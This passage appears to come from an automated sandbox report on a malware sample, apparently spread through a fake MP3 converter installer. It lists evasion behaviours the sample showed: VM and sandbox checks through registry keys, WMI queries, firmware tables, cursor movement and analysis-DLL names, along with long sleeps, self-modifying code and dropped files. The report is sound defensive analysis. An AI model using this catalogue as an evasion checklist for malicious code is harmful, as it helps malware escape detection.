Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: cWSgbiiWuHkrGD6e9Bvvb03z.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Stalling execution: Execution stalls by calling Sleep

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: DIR_WATCH.DLL
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: SBIEDLL.DLL
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\]Q
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Special instruction interceptor: First address: EF3339 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Special instruction interceptor: First address: 686536 instructions caused by: Self-modifying code

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 1020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 1340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Memory allocated: 268C13F0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Memory allocated: 268DAE50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 14B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F10000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4F10000 memory reserve \| memory write watch

Contains capabilities to detect virtual machines

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Contains functionality to detect sandboxes (mouse cursor move detection)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

8_2_0045D9F0

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Window / User API: threadDelayed 1771

Jump to behavior

Found decision node followed by non-executed suspicious APIs

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L54T1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L6RND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-FLU1L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-9KGTB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L99RE.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlx[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P9O5E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-1NPB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\softjenimmp3converter.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-Q23S7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-INE33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-8JVHL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P0TNH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-HI6SG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-5MHG6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-0UKVK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	Jump to dropped file
